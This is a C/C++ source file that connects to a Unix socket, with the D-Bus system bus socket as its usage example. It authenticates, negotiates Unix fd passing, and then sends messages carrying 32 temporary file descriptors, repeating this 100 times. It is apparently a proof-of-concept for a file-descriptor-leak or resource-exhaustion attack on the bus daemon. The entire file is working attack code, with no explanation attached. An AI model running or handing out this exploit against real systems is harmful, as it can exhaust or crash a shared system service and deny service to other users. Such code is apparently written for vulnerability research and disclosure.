#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

ssize_t sendwithfds(const int s) {
  struct msghdr msg = {}; // Zero initialize.
  struct cmsghdr *cmsg;
  const size_t n_fds = 32;
  int myfds[n_fds]; // Array of file descriptors
  int *fdptr;
  char iobuf[] = "BEGIN\r\n";
  size_t i;
  for (i = 0; i < n_fds; i++) {
    myfds[i] = open("/tmp", O_TMPFILE | O_RDWR, S_IRUSR | S_IWUSR);
  }

  struct iovec io = {};
  io.iov_base = iobuf;
  io.iov_len = sizeof(iobuf);

  union {
    char buf[CMSG_SPACE(sizeof(myfds))];
    struct cmsghdr align;
  } u;

  msg.msg_iov = &io;
  msg.msg_iovlen = 1;
  msg.msg_control = u.buf;
  msg.msg_controllen = sizeof(u);

  cmsg = CMSG_FIRSTHDR(&msg);
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;
  cmsg->cmsg_len = CMSG_LEN(sizeof(myfds));
  fdptr = (int *) CMSG_DATA(cmsg);
  memcpy(&fdptr[0], &myfds[0], sizeof(myfds));

  const ssize_t r = sendmsg(s, &msg, 0);
  if (r < 0) {
    const int err = errno;
    fprintf(stderr, "sendmsg failed: %s\n", strerror(err));
  }

  for (i = 0; i < n_fds; i++) {
    close(myfds[i]);
  }
  return r;
}

size_t write_string(char* buf, size_t pos, const char* str) {
  const size_t len = strlen(str);
  memcpy(&buf[pos], str, len);
  return pos + len;
}

void sendbuf(const int fd, char* buf, size_t pos, size_t bufsize)  {
  const ssize_t n = write(fd, buf, pos);
  printf("wrote %ld bytes\n", n);
  memset(&buf[0], 0, bufsize);
  const ssize_t r = read(fd, buf, bufsize);
  printf("%ld: %s\n", r, buf);
  printf("%x %x\n", buf[r-2], buf[r-1]);
}

int run(const uid_t uid, const char* filename) {
  sockaddr_un address;
  memset(&address, 0, sizeof(address));
  address.sun_family = AF_UNIX;
  strcpy(address.sun_path, filename);

  const int fd = socket(AF_UNIX, SOCK_STREAM, 0);
  if (fd < 0) {
    fprintf(stderr, "could not create socket\n");
    return 1;
  }

  if (connect(fd, (sockaddr*)(&address), sizeof(address)) < 0) {
    int err = errno;
    fprintf(stderr, "could not connect to socket: %s\n", strerror(err));
    return 1;
  }

  char buf[1024];
  size_t pos = 0;

  buf[pos++] = '\0';

  pos = write_string(buf, pos, "AUTH EXTERNAL ");

  char uidstr[16];
  snprintf(uidstr, sizeof(uidstr), "%d", uid);
  size_t n = strlen(uidstr);
  for (size_t i = 0; i < n; i++) {
    char tmp[4];
    snprintf(tmp, sizeof(tmp), "%.2x", (int)uidstr[i]);
    pos = write_string(buf, pos, tmp);
  }
  pos = write_string(buf, pos, "\r\n");

  sendbuf(fd, buf, pos, sizeof(buf));

  pos = write_string(buf, 0, "NEGOTIATE_UNIX_FD\r\n");
  sendbuf(fd, buf, pos, sizeof(buf));

  pos = write_string(buf, 0, "BEGIN\r\n");
  if (write(fd, buf, pos) < 0) {
    fprintf(stderr, "send failed");
  }

  sendwithfds(fd);

  close(fd);

  return 0;
}

int main(int argc, char* argv[]) {
  const char* progname = argc > 0 ? argv[0] : "a.out";
  if (argc < 2) {
    fprintf(
      stderr,
      "usage:   %s <unix socket path>\n"
      "example: %s /var/run/dbus/system_bus_socket\n",
      progname,
      progname
    );
    return 1;
  }

  uid_t uid = getuid();
  const char* filename = argv[1];

  for (size_t i = 0; i < 100; i++) {
    if (run(uid, filename) != 0) {
      return 1;
    }
  }
  return 0;
}
